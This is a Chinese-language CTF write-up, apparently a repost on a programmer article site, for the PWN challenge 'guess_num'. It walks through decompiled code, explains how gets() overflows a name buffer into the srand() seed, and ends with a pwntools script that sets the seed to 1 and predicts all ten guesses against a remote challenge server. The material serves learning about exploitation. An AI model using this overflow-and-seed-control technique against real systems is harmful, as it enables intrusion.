欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

攻防世界PWN-guess_num

程序员文章站 2022-05-19 10:01:17
...

题目:guess_num

攻防世界PWN-guess_num




checksec查看详情

64位以及各种防护全开

攻防世界PWN-guess_num
运行一下逻辑,的确是一个猜数游戏

攻防世界PWN-guess_num




进64位IDA

反编译main函数

攻防世界PWN-guess_num
出源码

攻防世界PWN-guess_num
摘代码

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // aaa@qq.com1
  __int64 v4; // aaa@qq.com1
  const char *v5; // aaa@qq.com1
  __int64 result; // aaa@qq.com7
  __int64 v7; // aaa@qq.com7
  int v8; // [sp+4h] [bp-3Ch]@1
  int i; // [sp+8h] [bp-38h]@1
  int v10; // [sp+Ch] [bp-34h]@1
  char v11; // [sp+10h] [bp-30h]@1
  unsigned int seed[2]; // [sp+30h] [bp-10h]@1
  __int64 v13; // [sp+38h] [bp-8h]@1

  v13 = *MK_FP(__FS__, 40LL);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v8 = 0;
  v10 = 0;
  LODWORD(v4) = sub_BB0(v3, 0LL);
  *(_QWORD *)seed = v4;
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v11);#构造输入
  v5 = (const char *)seed[0];
  srand(seed[0]);#随机数种子
  for ( i = 0; i <= 9; ++i )
  {
    v10 = rand() % 6 + 1; #生成从1到6的随机数
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v8);
    puts("---------------------------------");
    if ( v8 != v10 )#必须是v8 == v10才能执行下方的输出flag函数
    {
      puts("GG!");
      exit(1);
    }
    v5 = "Success!";
    puts("Success!");
  }
  sub_C3E(v5);#该函数可以cat flag
  result = 0LL;
  v7 = *MK_FP(__FS__, 40LL) ^ v13;
  return result;
}

这里涉及到一个东西,c语言的rand函数以及srand函数

rand() 函数每次调用前都会查询是否调用过srand(seed),是否给seed设定了一个值,如果有那么它会自动调用srand(seed)一次来初始化它的起始值。若之前没有调用srand(seed),那么系统会自动给seed赋初始值,即srand(1)自动调用它一次 。

srand() 函数需要提供一个种子,如srand(1),用1来初始化种子
rand()产生随机数时,如果用srand(seed)播下种子之后,一旦种子相同(下面的getpid方法),产生的随机数将是相同的。

简而言之,c的随机数在seed存在的情况下便无法真正的随机,如果我们强制给seed赋值并使用该seed去初始rand(),那rand就成为可控变量了。

因此在这里我们构造v10溢出的时候是将内容溢出给seed,从而让seed唯一,继而让后续的随机数相同来满足if条件

双击v10变量

攻防世界PWN-guess_num攻防世界PWN-guess_num
v10到seed之间的距离是0x20,将这0x20个空间打满之后,溢出的内容就会给seed,而种子一旦确定,后面的循环也就有了规律,从而容易满足

参考脚本:

from pwn import *
from ctypes import *

r = remote('220.249.52.133',45485)

#这里利用libc后期设置随机数种子
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
#前0x20个空间堵死,剩余的内容给seed,把种子设置为1
payload = "a"*0x20+p64(1)
r.sendlineafter("Your name:",payload)
#初始化种子为1
libc.srand(1)
for i in range(10):
	#这里的随机数就已经是顺序有规律一致的了
    num = str(libc.rand()%6+1)
    r.recvuntil('number:')
    r.sendline(num)

r.interactive()

运行:

攻防世界PWN-guess_num







参考 https://blog.csdn.net/lvyibin890/article/details/80141412
https://www.jianshu.com/p/0bc6c65addfd

相关标签: ctf pwn